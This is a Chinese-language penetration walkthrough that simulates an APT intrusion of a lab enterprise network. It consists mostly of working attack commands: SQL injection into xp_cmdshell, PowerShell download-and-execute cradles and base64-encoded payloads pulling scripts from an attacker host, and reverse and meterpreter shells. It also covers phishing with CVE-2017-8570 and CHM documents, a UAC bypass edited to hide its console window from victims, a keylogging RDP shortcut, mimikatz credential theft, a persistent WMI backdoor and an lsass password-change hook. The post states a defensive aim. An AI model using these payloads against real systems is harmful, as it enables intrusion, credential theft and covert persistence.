APT攻擊方式花樣繁多自己搭建內(nèi)網(wǎng)穿透,我研究最近的流行的APT攻擊方式自己搭建內(nèi)網(wǎng)穿透,在本地搭建環(huán)境模擬一次簡單的APT攻擊,在模擬攻擊過程中發(fā)現(xiàn)網(wǎng)上公布的poc都會有大大小的缺陷,大多數(shù)poc執(zhí)行過程中都會彈出一閃而過的黑框框,我深入分析這些腳本,修改其中的代碼,使其執(zhí)行的過程中消除那個一閃而過的黑框框,從而讓中招的不會輕易產(chǎn)生懷疑。我研究的目的是暴露這樣的攻擊過程,讓更多的人自己搭建內(nèi)網(wǎng)穿透了解這樣的攻擊過程,從而能夠研究出更有效的防御方法。
內(nèi)網(wǎng)的拓?fù)?
拓?fù)湔f明:
【1】10.101.101.0/24的網(wǎng)段模擬的是外網(wǎng)的地址
【2】192.168.101.0/24的網(wǎng)段模擬的是一個小型企業(yè)的內(nèi)網(wǎng)中的應(yīng)用服務(wù)器網(wǎng)絡(luò)
【3】192.168.111.0/24的網(wǎng)段模擬的是一個小型企業(yè)的內(nèi)網(wǎng)中的辦公網(wǎng)絡(luò)
【4】企業(yè)內(nèi)網(wǎng)可以無限制的訪問到外網(wǎng),但是外網(wǎng)無法訪問到企業(yè)內(nèi)網(wǎng)
【5】辦公網(wǎng)可以無限制的訪問到應(yīng)用服務(wù)器網(wǎng)絡(luò),但是應(yīng)用服務(wù)器網(wǎng)絡(luò)無法訪問到辦公網(wǎng)絡(luò)
【6】部分服務(wù)器打自己搭建內(nèi)網(wǎng)穿透了全部的補(bǔ)丁,并且保持正常更新
日常掃描
發(fā)現(xiàn)此服務(wù)器開放80,82端口,是windows 2008系統(tǒng) 。在80端口發(fā)現(xiàn)有sql注入
首先看數(shù)據(jù)庫和數(shù)據(jù)庫所在的服務(wù)器版本:
http:/ /10.101.101.13/?page= 1and@@version> 0--
數(shù)據(jù)庫是2008r2的,數(shù)據(jù)庫所在的操作系統(tǒng)是win2008或者win7然后看數(shù)據(jù)庫:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
這個語句測試數(shù)據(jù)庫的權(quán)限,發(fā)現(xiàn)有延時,證明是有數(shù)據(jù)庫的權(quán)限是dba的權(quán)限然后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打開xp_cmdshell的限制,下面創(chuàng)建一個臨時表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
執(zhí)行ipconfig /all并將結(jié)果寫入新創(chuàng)建的臨時表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
讀取結(jié)果:
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000))> 0--
看上去這個網(wǎng)站是站庫分離的網(wǎng)站。
然后用這種方法執(zhí)行“ping 10.101.101.16”,發(fā)現(xiàn)數(shù)據(jù)庫服務(wù)器可以通外網(wǎng),獲取這些信息之后,我用下面的指令刪除創(chuàng)建的臨時表
https://10.101.101.13/?page=1; droptabletemp; --
獲取到這么多信息了之后,在自己的機(jī)子上開一個web站點(diǎn),下載nishang的powershell的反彈腳本到自己的web服務(wù)器上:https://github.com/samratashok/nishang ,先在自己的主機(jī)上用nc -lvvp 8888監(jiān)聽8888端口,等待反彈連接 。
然后執(zhí)行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我們可以看到執(zhí)行成功
但是數(shù)據(jù)庫被降權(quán),權(quán)限不高,現(xiàn)在我把ms15-051的exp上傳到自己的服務(wù)器,用powershell的遠(yuǎn)程加載并執(zhí)行exe的腳本。執(zhí)行這個exp首先下載powershell的這個腳本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
然后執(zhí)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提權(quán)沒有成功,并且換一個exp也沒有成功
所以下面上msf繼續(xù)探測 先開啟msf的監(jiān)聽功能
然后執(zhí)行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
這樣就從數(shù)據(jù)庫主機(jī)上反彈一個meterpreter連接了。
先用
useauxiliary/scanner/smb/smb_version
掃描smb來獲取內(nèi)網(wǎng)的信息
發(fā)現(xiàn)一個mail服務(wù)器,用
useauxiliary/scanner/portscan
掃描一下端口 ,發(fā)現(xiàn)開放了80端口,25,110端口
我用 use auxiliary/server/socks4a 代理進(jìn)內(nèi)網(wǎng)
在烏云鏡像里面沒有找到可以用的洞,但是在82端口發(fā)現(xiàn)了驚喜
通過弱口令輕松進(jìn)入到后臺,發(fā)現(xiàn)一個可以生成靜態(tài)站的地方
把自定義靜態(tài)頁面存儲主路徑改成1.asp,然后編輯一篇文章,把木馬代碼放進(jìn)去,重新生成靜態(tài)頁面就可以getshell了
這個服務(wù)器的82端口不能執(zhí)行cmd,不支持aspx,不能跨目錄到umail,但是在一個奇怪的地方發(fā)現(xiàn)一個一份企業(yè)通訊錄,下載下來看到管理員郵箱
于是想到用偽造郵件的方法來釣管理員 首先參考兩個文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
>>>>
第一種方法
首先用CVE-2017-8570給的exp做一個釣魚用的ppsx 。由于原來的exp要用poershell下載一個shell.exe再執(zhí)行,這樣容易被殺軟發(fā)現(xiàn),并且原來的exp執(zhí)行反彈回來的shell權(quán)限不夠,所以要考慮繞過uac,讓管理員點(diǎn)擊惡意的ppsx后靜默反彈一個高權(quán)限的shell。如果用nishang給的Invoke-PsUACme.ps1,執(zhí)行之后會有一個一閃而過的黑框框,很讓人感到懷疑,去掉這個一閃而過的黑框框很簡單,因為我用oobe的方法在win7上繞過uac,所以我在這里只介紹在這種條件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”這個代碼,之后在調(diào)用Invoke-PsUACme的時候-payload參數(shù)寫上你要執(zhí)行的命令,最后用rundll32.exe靜默啟動C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
換掉原來exp里面的powershell調(diào)用語句 其中uacchm.ps1的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而其中enc后面的數(shù)據(jù)是經(jīng)過下面的代碼編碼而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
編碼的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一個惡意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口開啟服務(wù)
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 好多時候這個漏洞復(fù)現(xiàn)不成功,可以將查看 文件 -> 選項,點(diǎn)擊 信任中心設(shè)置:
去掉這些勾就好
>>>>
第二種方法
這個比較簡單: 用easy chm做一個惡意的chm就好
其中我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的長度似乎有某種限制,所以我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
編碼之后放入PARAM的value中
兩個惡意的文件都制作好了,我現(xiàn)在用swaks偽造郵件把這兩個文檔發(fā)送出去
現(xiàn)在靜靜等待管理員點(diǎn)擊我們的惡意文件,啟動msf的exploit/multi/handler模塊時候用exploit -j就可以讓msf在后臺等待管理員上鉤了。 這個時候發(fā)現(xiàn)一個管理員中了我們的木馬
由于bypass了uac,所以返回的是管理員的shell,我們可以用mimikatz來把密碼脫出來看看
由于管理員的機(jī)子不屬于任何域,也不是域賬號登陸,所以,我需要獲取他的在遠(yuǎn)程登陸其他機(jī)子的時候的用戶名和密碼,根據(jù) 《解析制作俄羅斯APT組織使用的快捷方式后門文件》這篇文件的介紹,我希望替換遠(yuǎn)程桌面的快捷方式來監(jiān)視管理員的行為。
思路是:
(1)正常啟動c:windowssystem32mstsc.exe,避免管理員懷疑 ;
?。?)由于原來的exp一啟動就會有個黑框框一閃而過,要用rundll32的方式來消除黑框框,讓惡意代碼靜態(tài)啟動;
?。?)參數(shù)部分要先加260個空格字符后面接著為payload代碼,這樣減小管理員查看屬性的時候看到payload而產(chǎn)生懷疑 ;
?。?)參考 《滲透技巧——如何巧妙利用PSR監(jiān)控Windows桌面》 這個文章靜默啟動一個桌面步驟記錄程序 ;
(5)利用PowerSploit的Get-Keystrokes.ps1的腳本來記錄鍵盤記錄
?。?)記錄一分鐘后把記錄的文件隱藏起來
(7)啟動metasploit的反彈連接
?。?)修改圖標(biāo)(關(guān)于C:Windowssystem32SHELL32.dll的圖標(biāo)id,有個網(wǎng)站給的很全面,可以修改傳遞給圖標(biāo)id來修改圖標(biāo))
我把修改好的代碼放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,遠(yuǎn)程加載的惡意的powershell代碼放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好惡意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了。
>>>>
使用方法
看著已經(jīng)生成好了,看一下效果
看著比較正常,用起來也很正常,沒有卡頓,沒有一閃而過的黑框 。如果管理員用到遠(yuǎn)程登陸快捷方式去遠(yuǎn)程登陸服務(wù)器的話,在c:windowstemp目錄下會生成log.dll,這個里面記錄的是鍵盤記錄,cap.zip記錄的是關(guān)鍵步驟截屏
等管理員啟動的惡意的遠(yuǎn)程登陸快捷方式之前,可以用管理員的密碼在應(yīng)用服務(wù)器網(wǎng)段內(nèi)用use auxiliary/scanner/smb/smb_login碰碰運(yùn)氣
看上去運(yùn)氣不佳啊
等了幾天,發(fā)現(xiàn)在這個目錄下有這個東西了
下載之后看到,鍵盤記錄:
下面是屏幕截圖記錄
這樣我就獲得了一個普通域賬號的賬戶名和密碼 。
下面試試MS14-068這個漏洞能不能成功,參考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/用proxychain執(zhí)行g(shù)oldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻擊
Ps: 攻擊的時候如果dns在內(nèi)網(wǎng)要記得hosts的地址綁定
用得到的shell反彈一個poweshell出來到本地8888端口,如果你用下面的語句反彈的話將得到是一個32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
這個時候你運(yùn)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
系統(tǒng)會報錯,原因是你不能在32位的shell中運(yùn)行64位的程程序,這里涉及到一個64位系統(tǒng)文件重定向的問題,參考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正確的做法是使用下面的代碼來反彈一個64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
這個時候你運(yùn)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就會得到域控管理員的密碼下面我要在域控上面安裝一個隱蔽的后門,參考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用三好學(xué)生的方法制作一個wmi的后門,首先: 在自己的web目錄下寫一個mof.ps1,這個文件作用是用利用wmi的定時器的功能讓系統(tǒng)每分鐘執(zhí)行一次我們的payload,這個mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我還寫了一個可以劫持進(jìn)程的powershell腳本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,這里我用每分鐘執(zhí)行payload的這個腳本,這里的我的payload我用一個反彈meterpreter連接的腳本,mof.txt里面的內(nèi)容:
<?xml version="1.0"?>
<![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>
enc編碼前的內(nèi)容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
執(zhí)行之后,每分鐘會反彈一個meterpreter的shell,而且重啟后依然會反彈
Ps: 這個wmi的后門我在win10上實(shí)驗的時候,不能執(zhí)行payload,如果觸發(fā)到后門的觸發(fā)條件的話,win10會彈出openwith.exe這個進(jìn)程,界面上看就是這個
查了兩天資料也沒有找到一個正經(jīng)的解決方法,但是后來把openwith.exe換成cmd.exe就可以執(zhí)行payload了,因為win7和win2008沒有openwith,所以沒有遇到什么阻力就直接執(zhí)行payload了,但是win10和win8在正常情況下就會打開openwith這個后門的清理方式,可以參考https://www.52pojie.cn/thread-607115-1-1.html
我還想放置一個后門,在域控管理員改密碼的時候記錄他的新密碼,參考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的腳本里面有一個選項可以從你的web服務(wù)器加載一個dll到對方主機(jī)內(nèi)存里面,這樣你把你的dll生成好之后就可以放在你的web服務(wù)器下面,在這個ps1最下面加入
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了,然后你把這個腳本的調(diào)用加入到chm.ps1里面:下面是改動之后chm.ps1里面的內(nèi)容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
這樣就可以任何時候每隔一分鐘的時候可以一方面反彈一個meterpreter的連接,還可以在域管理員改密碼的時候記錄他的新密碼
本文介紹了web滲透,郵件釣魚,后門部署等奇技淫巧,尤其針對消除各種一閃而過的cmd彈窗給出了我自己的解決思路,如果有問題大家可以在評論區(qū)留言,我們共同探討。
(來源:亞信安全)
評論列表
還沒有評論,快來說點(diǎn)什么吧~